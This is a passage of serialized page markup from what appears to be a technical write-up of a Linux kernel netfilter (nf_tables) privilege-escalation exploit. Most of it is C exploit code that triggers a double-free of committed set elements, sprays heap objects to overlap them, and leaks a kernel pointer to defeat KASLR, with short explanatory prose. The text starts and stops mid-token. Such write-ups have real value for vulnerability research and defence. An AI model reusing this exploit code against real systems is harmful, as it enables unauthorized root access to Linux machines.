",{"type":23,"tag":504,"props":56537,"children":56538},{"style":5083},[56539],{"type":29,"value":5164},{"type":23,"tag":504,"props":56541,"children":56542},{"style":5058},[56543],{"type":29,"value":4367},{"type":23,"tag":504,"props":56545,"children":56546},{"style":5047},[56547],{"type":29,"value":5151},{"type":23,"tag":504,"props":56549,"children":56550},{"style":5058},[56551],{"type":29,"value":56552},"desc, ",{"type":23,"tag":504,"props":56554,"children":56555},{"style":5030},[56556],{"type":29,"value":56557},"NULL",{"type":23,"tag":504,"props":56559,"children":56560},{"style":5058},[56561],{"type":29,"value":4367},{"type":23,"tag":504,"props":56563,"children":56564},{"style":5083},[56565],{"type":29,"value":708},{"type":23,"tag":504,"props":56567,"children":56568},{"style":5058},[56569],{"type":29,"value":56570},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":504,"props":56572,"children":56573},{"class":5016,"line":5666},[56574],{"type":23,"tag":504,"props":56575,"children":56576},{"emptyLinePlaceholder":15},[56577],{"type":29,"value":5734},{"type":23,"tag":504,"props":56579,"children":56580},{"class":5016,"line":5683},[56581],{"type":23,"tag":504,"props":56582,"children":56583},{"style":5021},[56584],{"type":29,"value":56585},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":504,"props":56587,"children":56588},{"class":5016,"line":5696},[56589,56593,56597,56601,56606,56610,56614,56618,56622,56626,56630,56634],{"type":23,"tag":504,"props":56590,"children":56591},{"style":5067},[56592],{"type":29,"value":5070},{"type":23,"tag":504,"props":56594,"children":56595},{"style":5058},[56596],{"type":29,"value":5110},{"type":23,"tag":504,"props":56598,"children":56599},{"style":5030},[56600],{"type":29,"value":21098},{"type":23,"tag":504,"props":56602,"children":56603},{"style":5058},[56604],{"type":29,"value":56605}," i ",{"type":23,"tag":504,"props":56607,"children":56608},{"style":5047},[56609],{"type":29,"value":546},{"type":23,"tag":504,"props":56611,"children":56612},{"style":5083},[56613],{"type":29,"value":5086},{"type":23,"tag":504,"props":56615,"children":56616},{"style":5058},[56617],{"type":29,"value":53295},{"type":23,"tag":504,"props":56619,"children":56620},{"style":5047},[56621],{"type":29,"value":2658},{"type":23,"tag":504,"props":56623,"children":56624},{"style":5083},[56625],{"type":29,"value":9979},{"type":23,"tag":504,"props":56627,"children":56628},{"style":5058},[56629],{"type":29,"value":53326},{"type":23,"tag":504,"props":56631,"children":56632},{"style":5047},[56633],{"type":29,"value":53331},{"type":23,"tag":504,"props":56635,"children":56636},{"style":5058},[56637],{"type":29,"value":5200},{"type":23,"tag":504,"props":56639,"children":56640},{"class":5016,"line":5705},[56641],{"type":23,"tag":504,"props":56642,"children":56643},{"style":5058},[56644],{"type":29,"value":31241},{"type":23,"tag":504,"props":56646,"children":56647},{"class":5016,"line":5728},[56648,56653,56658,56662,56667],{"type":23,"tag":504,"props":56649,"children":56650},{"style":5041},[56651],{"type":29,"value":56652},"        elem",{"type":23,"tag":504,"props":56654,"children":56655},{"style":5058},[56656],{"type":29,"value":56657},"[i] ",{"type":23,"tag":504,"props":56659,"children":56660},{"style":5047},[56661],{"type":29,"value":546},{"type":23,"tag":504,"props":56663,"children":56664},{"style":5139},[56665],{"type":29,"value":56666}," nftnl_set_elem_alloc",{"type":23,"tag":504,"props":56668,"children":56669},{"style":5058},[56670],{"type":29,"value":5725},{"type":23,"tag":504,"props":56672,"children":56673},{"class":5016,"line":5737},[56674,56679,56684,56689,56693],{"type":23,"tag":504,"props":56675,"children":56676},{"style":5139},[56677],{"type":29,"value":56678},"        memset",{"type":23,"tag":504,"props":56680,"children":56681},{"style":5058},[56682],{"type":29,"value":56683},"(key, ",{"type":23,"tag":504,"props":56685,"children":56686},{"style":5083},[56687],{"type":29,"value":56688},"0x41",{"type":23,"tag":504,"props":56690,"children":56691},{"style":5047},[56692],{"type":29,"value":10950},{"type":23,"tag":504,"props":56694,"children":56695},{"style":5058},[56696],{"type":29,"value":56697}," i, KEY_LEN);\n",{"type":23,"tag":504,"props":56699,"children":56700},{"class":5016,"line":5746},[56701,56706,56710,56714,56719,56724,56728,56733],{"type":23,"tag":504,"props":56702,"children":56703},{"style":5139},[56704],{"type":29,"value":56705},"        nftnl_set_elem_set",{"type":23,"tag":504,"props":56707,"children":56708},{"style":5058},[56709],{"type":29,"value":603},{"type":23,"tag":504,"props":56711,"children":56712},{"style":5041},[56713],{"type":29,"value":54125},{"type":23,"tag":504,"props":56715,"children":56716},{"style":5058},[56717],{"type":29,"value":56718},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":504,"props":56720,"children":56721},{"style":6297},[56722],{"type":29,"value":56723},"\"pwnobj\"",{"type":23,"tag":504,"props":56725,"children":56726},{"style":5058},[56727],{"type":29,"value":4367},{"type":23,"tag":504,"props":56729,"children":56730},{"style":5083},[56731],{"type":29,"value":56732},"7",{"type":23,"tag":504,"props":56734,"children":56735},{"style":5058},[56736],{"type":29,"value":5888},{"type":23,"tag":504,"props":56738,"children":56739},{"class":5016,"line":5813},[56740,56744,56748,56752,56757,56761],{"type":23,"tag":504,"props":56741,"children":56742},{"style":5139},[56743],{"type":29,"value":56705},{"type":23,"tag":504,"props":56745,"children":56746},{"style":5058},[56747],{"type":29,"value":603},{"type":23,"tag":504,"props":56749,"children":56750},{"style":5041},[56751],{"type":29,"value":54125},{"type":23,"tag":504,"props":56753,"children":56754},{"style":5058},[56755],{"type":29,"value":56756},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":504,"props":56758,"children":56759},{"style":5047},[56760],{"type":29,"value":5151},{"type":23,"tag":504,"props":56762,"children":56763},{"style":5058},[56764],{"type":29,"value":56765},"key, KEY_LEN);\n",{"type":23,"tag":504,"props":56767,"children":56768},{"class":5016,"line":5821},[56769,56773,56777,56781,56786,56790],{"type":23,"tag":504,"props":56770,"children":56771},{"style":5139},[56772],{"type":29,"value":56705},{"type":23,"tag":504,"props":56774,"children":56775},{"style":5058},[56776],{"type":29,"value":603},{"type":23,"tag":504,"props":56778,"children":56779},{"style":5041},[56780],{"type":29,"value":54125},{"type":23,"tag":504,"props":56782,"children":56783},{"style":5058},[56784],{"type":29,"value":56785},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":504,"props":56787,"children":56788},{"style":5047},[56789],{"type":29,"value":5151},{"type":23,"tag":504,"props":56791,"children":56792},{"style":5058},[56793],{"type":29,"value":56794},"udata_buf, size);\n",{"type":23,"tag":504,"props":56796,"children":56797},{"class":5016,"line":5851},[56798,56803,56808,56812],{"type":23,"tag":504,"props":56799,"children":56800},{"style":5139},[56801],{"type":29,"value":56802},"        nftnl_set_elem_add",{"type":23,"tag":504,"props":56804,"children":56805},{"style":5058},[56806],{"type":29,"value":56807},"(set, ",{"type":23,"tag":504,"props":56809,"children":56810},{"style":5041},[56811],{"type":29,"value":54125},{"type":23,"tag":504,"props":56813,"children":56814},{"style":5058},[56815],{"type":29,"value":56816},"[i]);\n",{"type":23,"tag":504,"props":56818,"children":56819},{"class":5016,"line":5859},[56820],{"type":23,"tag":504,"props":56821,"children":56822},{"style":5058},[56823],{"type":29,"value":5403},{"type":23,"tag":504,"props":56825,"children":56826},{"class":5016,"line":5891},[56827],{"type":23,"tag":504,"props":56828,"children":56829},{"style":5058},[56830],{"type":29,"value":12364},{"type":23,"tag":504,"props":56832,"children":56833},{"class":5016,"line":5899},[56834],{"type":23,"tag":504,"props":56835,"children":56836},{"emptyLinePlaceholder":15},[56837],{"type":29,"value":5734},{"type":23,"tag":504,"props":56839,"children":56840},{"class":5016,"line":5959},[56841],{"type":23,"tag":504,"props":56842,"children":56843},{"style":5058},[56844],{"type":29,"value":56845},"    // TRANSACTION 3\n",{"type":23,"tag":504,"props":56847,"children":56848},{"class":5016,"line":11093},[56849],{"type":23,"tag":504,"props":56850,"children":56851},{"style":5058},[56852],{"type":29,"value":12364},{"type":23,"tag":504,"props":56854,"children":56855},{"class":5016,"line":11111},[56856],{"type":23,"tag":504,"props":56857,"children":56858},{"style":5058},[56859],{"type":29,"value":56860},"    set = nftnl_set_alloc();\n",{"type":23,"tag":504,"props":56862,"children":56863},{"class":5016,"line":11156},[56864,56869],{"type":23,"tag":504,"props":56865,"children":56866},{"style":5139},[56867],{"type":29,"value":56868},"    nftnl_set_set_u32",{"type":23,"tag":504,"props":56870,"children":56871},{"style":5058},[56872],{"type":29,"value":56873},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":504,"props":56875,"children":56876},{"class":5016,"line":11262},[56877,56882],{"type":23,"tag":504,"props":56878,"children":56879},{"style":5139},[56880],{"type":29,"value":56881},"    nftnl_set_set_str",{"type":23,"tag":504,"props":56883,"children":56884},{"style":5058},[56885],{"type":29,"value":56886},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":504,"props":56888,"children":56889},{"class":5016,"line":25550},[56890,56894,56899,56903],{"type":23,"tag":504,"props":56891,"children":56892},{"style":5139},[56893],{"type":29,"value":56881},{"type":23,"tag":504,"props":56895,"children":56896},{"style":5058},[56897],{"type":29,"value":56898},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":504,"props":56900,"children":56901},{"style":6297},[56902],{"type":29,"value":56497},{"type":23,"tag":504,"props":56904,"children":56905},{"style":5058},[56906],{"type":29,"value":5888},{"type":23,"tag":504,"props":56908,"children":56909},{"class":5016,"line":25585},[56910],{"type":23,"tag":504,"props":56911,"children":56912},{"emptyLinePlaceholder":15},[56913],{"type":29,"value":5734},{"type":23,"tag":504,"props":56915,"children":56916},{"class":5016,"line":25593},[56917],{"type":23,"tag":504,"props":56918,"children":56919},{"style":5021},[56920],{"type":29,"value":56921},"    // make priv->dirty true\n",{"type":23,"tag":504,"props":56923,"children":56924},{"class":5016,"line":25601},[56925,56930,56934,56939],{"type":23,"tag":504,"props":56926,"children":56927},{"style":5139},[56928],{"type":29,"value":56929},"    memset",{"type":23,"tag":504,"props":56931,"children":56932},{"style":5058},[56933],{"type":29,"value":56683},{"type":23,"tag":504,"props":56935,"children":56936},{"style":5083},[56937],{"type":29,"value":56938},"0xff",{"type":23,"tag":504,"props":56940,"children":56941},{"style":5058},[56942],{"type":29,"value":56943},", KEY_LEN);\n",{"type":23,"tag":504,"props":56945,"children":56946},{"class":5016,"line":25610},[56947,56952,56956,56960,56964,56968,56972],{"type":23,"tag":504,"props":56948,"children":56949},{"style":5041},[56950],{"type":29,"value":56951},"    elem",{"type":23,"tag":504,"props":56953,"children":56954},{"style":5058},[56955],{"type":29,"value":1380},{"type":23,"tag":504,"props":56957,"children":56958},{"style":5083},[56959],{"type":29,"value":19344},{"type":23,"tag":504,"props":56961,"children":56962},{"style":5058},[56963],{"type":29,"value":10706},{"type":23,"tag":504,"props":56965,"children":56966},{"style":5047},[56967],{"type":29,"value":546},{"type":23,"tag":504,"props":56969,"children":56970},{"style":5139},[56971],{"type":29,"value":56666},{"type":23,"tag":504,"props":56973,"children":56974},{"style":5058},[56975],{"type":29,"value":5725},{"type":23,"tag":504,"props":56977,"children":56978},{"class":5016,"line":25652},[56979,56984,56988,56992,56996,57000,57005,57009,57013,57017],{"type":23,"tag":504,"props":56980,"children":56981},{"style":5139},[56982],{"type":29,"value":56983},"    nftnl_set_elem_set",{"type":23,"tag":504,"props":56985,"children":56986},{"style":5058},[56987],{"type":29,"value":603},{"type":23,"tag":504,"props":56989,"children":56990},{"style":5041},[56991],{"type":29,"value":54125},{"type":23,"tag":504,"props":56993,"children":56994},{"style":5058},[56995],{"type":29,"value":1380},{"type":23,"tag":504,"props":56997,"children":56998},{"style":5083},[56999],{"type":29,"value":19344},{"type":23,"tag":504,"props":57001,"children":57002},{"style":5058},[57003],{"type":29,"value":57004},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":504,"props":57006,"children":57007},{"style":6297},[57008],{"type":29,"value":56723},{"type":23,"tag":504,"props":57010,"children":57011},{"style":5058},[57012],{"type":29,"value":4367},{"type":23,"tag":504,"props":57014,"children":57015},{"style":5083},[57016],{"type":29,"value":56732},{"type":23,"tag":504,"props":57018,"children":57019},{"style":5058},[57020],{"type":29,"value":5888},{"type":23,"tag":504,"props":57022,"children":57023},{"class":5016,"line":25685},[57024,57028,57032,57036,57040,57044,57049,57053],{"type":23,"tag":504,"props":57025,"children":57026},{"style":5139},[57027],{"type":29,"value":56983},{"type":23,"tag":504,"props":57029,"children":57030},{"style":5058},[57031],{"type":29,"value":603},{"type":23,"tag":504,"props":57033,"children":57034},{"style":5041},[57035],{"type":29,"value":54125},{"type":23,"tag":504,"props":57037,"children":57038},{"style":5058},[57039],{"type":29,"value":1380},{"type":23,"tag":504,"props":57041,"children":57042},{"style":5083},[57043],{"type":29,"value":19344},{"type":23,"tag":504,"props":57045,"children":57046},{"style":5058},[57047],{"type":29,"value":57048},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":504,"props":57050,"children":57051},{"style":5047},[57052],{"type":29,"value":5151},{"type":23,"tag":504,"props":57054,"children":57055},{"style":5058},[57056],{"type":29,"value":56765},{"type":23,"tag":504,"props":57058,"children":57059},{"class":5016,"line":25693},[57060,57065,57069,57073,57077,57081],{"type":23,"tag":504,"props":57061,"children":57062},{"style":5139},[57063],{"type":29,"value":57064},"    nftnl_set_elem_add",{"type":23,"tag":504,"props":57066,"children":57067},{"style":5058},[57068],{"type":29,"value":56807},{"type":23,"tag":504,"props":57070,"children":57071},{"style":5041},[57072],{"type":29,"value":54125},{"type":23,"tag":504,"props":57074,"children":57075},{"style":5058},[57076],{"type":29,"value":1380},{"type":23,"tag":504,"props":57078,"children":57079},{"style":5083},[57080],{"type":29,"value":19344},{"type":23,"tag":504,"props":57082,"children":57083},{"style":5058},[57084],{"type":29,"value":5810},{"type":23,"tag":504,"props":57086,"children":57087},{"class":5016,"line":25701},[57088],{"type":23,"tag":504,"props":57089,"children":57090},{"style":5058},[57091],{"type":29,"value":12364},{"type":23,"tag":504,"props":57093,"children":57094},{"class":5016,"line":25710},[57095],{"type":23,"tag":504,"props":57096,"children":57097},{"emptyLinePlaceholder":15},[57098],{"type":29,"value":5734},{"type":23,"tag":504,"props":57100,"children":57101},{"class":5016,"line":25786},[57102],{"type":23,"tag":504,"props":57103,"children":57104},{"style":5058},[57105],{"type":29,"value":57106},"    // double-free commited elems\n",{"type":23,"tag":504,"props":57108,"children":57109},{"class":5016,"line":25819},[57110],{"type":23,"tag":504,"props":57111,"children":57112},{"style":5058},[57113],{"type":29,"value":12364},{"type":23,"tag":504,"props":57115,"children":57116},{"class":5016,"line":25827},[57117,57122,57126],{"type":23,"tag":504,"props":57118,"children":57119},{"style":5058},[57120],{"type":29,"value":57121},"    nftnl_set_free(",{"type":23,"tag":504,"props":57123,"children":57124},{"style":5467},[57125],{"type":29,"value":53082},{"type":23,"tag":504,"props":57127,"children":57128},{"style":5058},[57129],{"type":29,"value":5888},{"type":23,"tag":504,"props":57131,"children":57132},{"class":5016,"line":25835},[57133],{"type":23,"tag":504,"props":57134,"children":57135},{"style":5058},[57136],{"type":29,"value":5965},{"type":23,"tag":504,"props":57138,"children":57139},{"class":5016,"line":25872},[57140],{"type":23,"tag":504,"props":57141,"children":57142},{"style":5058},[57143],{"type":29,"value":12364},{"type":23,"tag":320,"props":57145,"children":57147},{"id":57146},"leaking-kaslr",[57148],{"type":29,"value":57149},"Leaking KASLR",{"type":23,"tag":32,"props":57151,"children":57152},{},[57153,57155,57161,57163,57168,57170,57176,57178,57184,57186],{"type":29,"value":57154},"Tables contain an outline user data buffer ",{"type":23,"tag":154,"props":57156,"children":57158},{"className":57157},[],[57159],{"type":29,"value":57160},"udata",{"type":29,"value":57162}," that we can both read and write. By allocating a ",{"type":23,"tag":154,"props":57164,"children":57166},{"className":57165},[],[57167],{"type":29,"value":57160},{"type":29,"value":57169}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":154,"props":57171,"children":57173},{"className":57172},[],[57174],{"type":29,"value":57175},"nft_object",{"type":29,"value":57177}," we can leak the ",{"type":23,"tag":154,"props":57179,"children":57181},{"className":57180},[],[57182],{"type":29,"value":57183},"->ops",{"type":29,"value":57185}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":199,"props":57187,"children":57189},{"alt":201,"src":57188},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":4743,"props":57191,"children":57193},{"className":31164,"code":57192,"language":31166,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[57194],{"type":23,"tag":154,"props":57195,"children":57196},{"__ignoreMap":7},[57197,57204,57212,57247,57254,57262,57287,57314,57365,57372,57405,57431,57438,57503,57510,57531,57538,57545,57553,57561,57582,57611,57623,57667,57723],{"type":23,"tag":504,"props":57198,"children":57199},{"class":5016,"line":5017},[57200],{"type":23,"tag":504,"props":57201,"children":57202},{"style":5058},[57203],{"type":29,"value":12364},{"type":23,"tag":504,"props":57205,"children":57206},{"class":5016,"line":4868},[57207],{"type":23,"tag":504,"props":57208,"children":57209},{"style":5058},[57210],{"type":29,"value":57211},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":504,"props":57213,"children":57214},{"class":5016,"line":4876},[57215,57220,57224,57229,57234,57239,57243],{"type":23,"tag":504,"props":57216,"children":57217},{"style":5058},[57218],{"type":29,"value":57219},"    udata_spray(",{"type":23,"tag":504,"props":57221,"children":57222},{"style":5467},[57223],{"type":29,"value":56351},{"type":23,"tag":504,"props":57225,"children":57226},{"style":5058},[57227],{"type":29,"value":57228},", 0",{"type":23,"tag":504,"props":57230,"children":57231},{"style":5467},[57232],{"type":29,"value":57233},"xe8",{"type":23,"tag":504,"props":57235,"children":57236},{"style":5058},[57237],{"type":29,"value":57238},", 0, 3, ",{"type":23,"tag":504,"props":57240,"children":57241},{"style":5467},[57242],{"type":29,"value":56557},{"type":23,"tag":504,"props":57244,"children":57245},{"style":5058},[57246],{"type":29,"value":5888},{"type":23,"tag":504,"props":57248,"children":57249},{"class":5016,"line":5099},[57250],{"type":23,"tag":504,"props":57251,"children":57252},{"emptyLinePlaceholder":15},[57253],{"type":29,"value":5734},{"type":23,"tag":504,"props":57255,"children":57256},{"class":5016,"line":5203},[57257],{"type":23,"tag":504,"props":57258,"children":57259},{"style":5021},[57260],{"type":29,"value":57261},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":504,"props":57263,"children":57264},{"class":5016,"line":5308},[57265,57270,57275,57279,57283],{"type":23,"tag":504,"props":57266,"children":57267},{"style":5030},[57268],{"type":29,"value":57269},"    char",{"type":23,"tag":504,"props":57271,"children":57272},{"style":5041},[57273],{"type":29,"value":57274}," spray_name",{"type":23,"tag":504,"props":57276,"children":57277},{"style":5058},[57278],{"type":29,"value":1380},{"type":23,"tag":504,"props":57280,"children":57281},{"style":5083},[57282],{"type":29,"value":42904},{"type":23,"tag":504,"props":57284,"children":57285},{"style":5058},[57286],{"type":29,"value":33629},{"type":23,"tag":504,"props":57288,"children":57289},{"class":5016,"line":5336},[57290,57294,57298,57302,57306,57310],{"type":23,"tag":504,"props":57291,"children":57292},{"style":5030},[57293],{"type":29,"value":57269},{"type":23,"tag":504,"props":57295,"children":57296},{"style":5047},[57297],{"type":29,"value":11863},{"type":23,"tag":504,"props":57299,"children":57300},{"style":5041},[57301],{"type":29,"value":57160},{"type":23,"tag":504,"props":57303,"children":57304},{"style":5058},[57305],{"type":29,"value":1380},{"type":23,"tag":504,"props":57307,"children":57308},{"style":5083},[57309],{"type":29,"value":19344},{"type":23,"tag":504,"props":57311,"children":57312},{"style":5058},[57313],{"type":29,"value":33629},{"type":23,"tag":504,"props":57315,"children":57316},{"class":5016,"line":5349},[57317,57321,57325,57329,57333,57337,57341,57345,57349,57353,57357,57361],{"type":23,"tag":504,"props":57318,"children":57319},{"style":5067},[57320],{"type":29,"value":5070},{"type":23,"tag":504,"props":57322,"children":57323},{"style":5058},[57324],{"type":29,"value":5110},{"type":23,"tag":504,"props":57326,"children":57327},{"style":5030},[57328],{"type":29,"value":21098},{"type":23,"tag":504,"props":57330,"children":57331},{"style":5058},[57332],{"type":29,"value":56605},{"type":23,"tag":504,"props":57334,"children":57335},{"style":5047},[57336],{"type":29,"value":546},{"type":23,"tag":504,"props":57338,"children":57339},{"style":5083},[57340],{"type":29,"value":5086},{"type":23,"tag":504,"props":57342,"children":57343},{"style":5058},[57344],{"type":29,"value":53295},{"type":23,"tag":504,"props":57346,"children":57347},{"style":5047},[57348],{"type":29,"value":2658},{"type":23,"tag":504,"props":57350,"children":57351},{"style":5083},[57352],{"type":29,"value":21150},{"type":23,"tag":504,"props":57354,"children":57355},{"style":5058},[57356],{"type":29,"value":53326},{"type":23,"tag":504,"props":57358,"children":57359},{"style":5047},[57360],{"type":29,"value":53331},{"type":23,"tag":504,"props":57362,"children":57363},{"style":5058},[57364],{"type":29,"value":5200},{"type":23,"tag":504,"props":57366,"children":57367},{"class":5016,"line":5367},[57368],{"type":23,"tag":504,"props":57369,"children":57370},{"style":5058},[57371],{"type":29,"value":31241},{"type":23,"tag":504,"props":57373,"children":57374},{"class":5016,"line":5388},[57375,57380,57385,57390,57395,57400],{"type":23,"tag":504,"props":57376,"children":57377},{"style":5139},[57378],{"type":29,"value":57379},"        snprintf",{"type":23,"tag":504,"props":57381,"children":57382},{"style":5058},[57383],{"type":29,"value":57384},"(spray_name, ",{"type":23,"tag":504,"props":57386,"children":57387},{"style":5030},[57388],{"type":29,"value":57389},"sizeof",{"type":23,"tag":504,"props":57391,"children":57392},{"style":5058},[57393],{"type":29,"value":57394},"(spray_name), ",{"type":23,"tag":504,"props":57396,"children":57397},{"style":6297},[57398],{"type":29,"value":57399},"\"spray-%i\"",{"type":23,"tag":504,"props":57401,"children":57402},{"style":5058},[57403],{"type":29,"value":57404},", i);\n",{"type":23,"tag":504,"props":57406,"children":57407},{"class":5016,"line":5397},[57408,57413,57417,57421,57426],{"type":23,"tag":504,"props":57409,"children":57410},{"style":5041},[57411],{"type":29,"value":57412},"        udata",{"type":23,"tag":504,"props":57414,"children":57415},{"style":5058},[57416],{"type":29,"value":56657},{"type":23,"tag":504,"props":57418,"children":57419},{"style":5047},[57420],{"type":29,"value":546},{"type":23,"tag":504,"props":57422,"children":57423},{"style":5139},[57424],{"type":29,"value":57425}," getudata",{"type":23,"tag":504,"props":57427,"children":57428},{"style":5058},[57429],{"type":29,"value":57430},"(nl, spray_name);\n",{"type":23,"tag":504,"props":57432,"children":57433},{"class":5016,"line":5649},[57434],{"type":23,"tag":504,"props":57435,"children":57436},{"style":5058},[57437],{"type":29,"value":5403},{"type":23,"tag":504,"props":57439,"children":57440},{"class":5016,"line":5666},[57441,57445,57449,57453,57457,57461,57465,57469,57473,57477,57482,57486,57490,57494,57498],{"type":23,"tag":504,"props":57442,"children":57443},{"style":5067},[57444],{"type":29,"value":14325},{"type":23,"tag":504,"props":57446,"children":57447},{"style":5058},[57448],{"type":29,"value":5110},{"type":23,"tag":504,"props":57450,"children":57451},{"style":5041},[57452],{"type":29,"value":57160},{"type":23,"tag":504,"props":57454,"children":57455},{"style":5058},[57456],{"type":29,"value":1380},{"type":23,"tag":504,"props":57458,"children":57459},{"style":5083},[57460],{"type":29,"value":708},{"type":23,"tag":504,"props":57462,"children":57463},{"style":5058},[57464],{"type":29,"value":51021},{"type":23,"tag":504,"props":57466,"children":57467},{"style":5083},[57468],{"type":29,"value":708},{"type":23,"tag":504,"props":57470,"children":57471},{"style":5058},[57472],{"type":29,"value":10706},{"type":23,"tag":504,"props":57474,"children":57475},{"style":5047},[57476],{"type":29,"value":1224},{"type":23,"tag":504,"props":57478,"children":57479},{"style":5041},[57480],{"type":29,"value":57481}," udata",{"type":23,"tag":504,"props":57483,"children":57484},{"style":5058},[57485],{"type":29,"value":1380},{"type":23,"tag":504,"props":57487,"children":57488},{"style":5083},[57489],{"type":29,"value":5164},{"type":23,"tag":504,"props":57491,"children":57492},{"style":5058},[57493],{"type":29,"value":51021},{"type":23,"tag":504,"props":57495,"children":57496},{"style":5083},[57497],{"type":29,"value":708},{"type":23,"tag":504,"props":57499,"children":57500},{"style":5058},[57501],{"type":29,"value":57502},"])\n",{"type":23,"tag":504,"props":57504,"children":57505},{"class":5016,"line":5683},[57506],{"type":23,"tag":504,"props":57507,"children":57508},{"style":5058},[57509],{"type":29,"value":31241},{"type":23,"tag":504,"props":57511,"children":57512},{"class":5016,"line":5696},[57513,57518,57522,57527],{"type":23,"tag":504,"props":57514,"children":57515},{"style":5139},[57516],{"type":29,"value":57517},"        puts",{"type":23,"tag":504,"props":57519,"children":57520},{"style":5058},[57521],{"type":29,"value":603},{"type":23,"tag":504,"props":57523,"children":57524},{"style":6297},[57525],{"type":29,"value":57526},"\"[+] got duplicated table\"",{"type":23,"tag":504,"props":57528,"children":57529},{"style":5058},[57530],{"type":29,"value":5888},{"type":23,"tag":504,"props":57532,"children":57533},{"class":5016,"line":5705},[57534],{"type":23,"tag":504,"props":57535,"children":57536},{"style":5058},[57537],{"type":29,"value":5403},{"type":23,"tag":504,"props":57539,"children":57540},{"class":5016,"line":5728},[57541],{"type":23,"tag":504,"props":57542,"children":57543},{"emptyLinePlaceholder":15},[57544],{"type":29,"value":5734},{"type":23,"tag":504,"props":57546,"children":57547},{"class":5016,"line":5737},[57548],{"type":23,"tag":504,"props":57549,"children":57550},{"style":5021},[57551],{"type":29,"value":57552},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":504,"props":57554,"children":57555},{"class":5016,"line":5746},[57556],{"type":23,"tag":504,"props":57557,"children":57558},{"style":5021},[57559],{"type":29,"value":57560},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":504,"props":57562,"children":57563},{"class":5016,"line":5813},[57564,57569,57573,57578],{"type":23,"tag":504,"props":57565,"children":57566},{"style":5139},[57567],{"type":29,"value":57568},"    puts",{"type":23,"tag":504,"props":57570,"children":57571},{"style":5058},[57572],{"type":29,"value":603},{"type":23,"tag":504,"props":57574,"children":57575},{"style":6297},[57576],{"type":29,"value":57577},"\"[*] Info leak\"",{"type":23,"tag":504,"props":57579,"children":57580},{"style":5058},[57581],{"type":29,"value":5888},{"type":23,"tag":504,"props":57583,"children":57584},{"class":5016,"line":5821},[57585,57590,57595,57599,57603,57607],{"type":23,"tag":504,"props":57586,"children":57587},{"style":5139},[57588],{"type":29,"value":57589},"    deludata_spray",{"type":23,"tag":504,"props":57591,"children":57592},{"style":5058},[57593],{"type":29,"value":57594},"(nl, ",{"type":23,"tag":504,"props":57596,"children":57597},{"style":5083},[57598],{"type":29,"value":708},{"type":23,"tag":504,"props":57600,"children":57601},{"style":5058},[57602],{"type":29,"value":4367},{"type":23,"tag":504,"props":57604,"children":57605},{"style":5083},[57606],{"type":29,"value":826},{"type":23,"tag":504,"props":57608,"children":57609},{"style":5058},[57610],{"type":29,"value":5888},{"type":23,"tag":504,"props":57612,"children":57613},{"class":5016,"line":5851},[57614,57619],{"type":23,"tag":504,"props":57615,"children":57616},{"style":5139},[57617],{"type":29,"value":57618},"    wait_destroyer",{"type":23,"tag":504,"props":57620,"children":57621},{"style":5058},[57622],{"type":29,"value":5725},{"type":23,"tag":504,"props":57624,"children":57625},{"class":5016,"line":5859},[57626,57631,57635,57639,57643,57647,57651,57655,57659,57663],{"type":23,"tag":504,"props":57627,"children":57628},{"style":5139},[57629],{"type":29,"value":57630},"    obj_spray",{"type":23,"tag":504,"props":57632,"children":57633},{"style":5058},[57634],{"type":29,"value":57594},{"type":23,"tag":504,"props":57636,"children":57637},{"style":5083},[57638],{"type":29,"value":708},{"type":23,"tag":504,"props":57640,"children":57641},{"style":5058},[57642],{"type":29,"value":4367},{"type":23,"tag":504,"props":57644,"children":57645},{"style":5083},[57646],{"type":29,"value":826},{"type":23,"tag":504,"props":57648,"children":57649},{"style":5058},[57650],{"type":29,"value":4367},{"type":23,"tag":504,"props":57652,"children":57653},{"style":5030},[57654],{"type":29,"value":56557},{"type":23,"tag":504,"props":57656,"children":57657},{"style":5058},[57658],{"type":29,"value":4367},{"type":23,"tag":504,"props":57660,"children":57661},{"style":5083},[57662],{"type":29,"value":708},{"type":23,"tag":504,"props":57664,"children":57665},{"style":5058},[57666],{"type":29,"value":5888},{"type":23,"tag":504,"props":57668,"children":57669},{"class":5016,"line":5891},[57670,57675,57679,57684,57688,57692,57697,57701,57705,57710,57714,57719],{"type":23,"tag":504,"props":57671,"children":57672},{"style":5030},[57673],{"type":29,"value":57674},"    uint64_t",{"type":23,"tag":504,"props":57676,"children":57677},{"style":5047},[57678],{"type":29,"value":11863},{"type":23,"tag":504,"props":57680,"children":57681},{"style":5058},[57682],{"type":29,"value":57683},"fake_obj 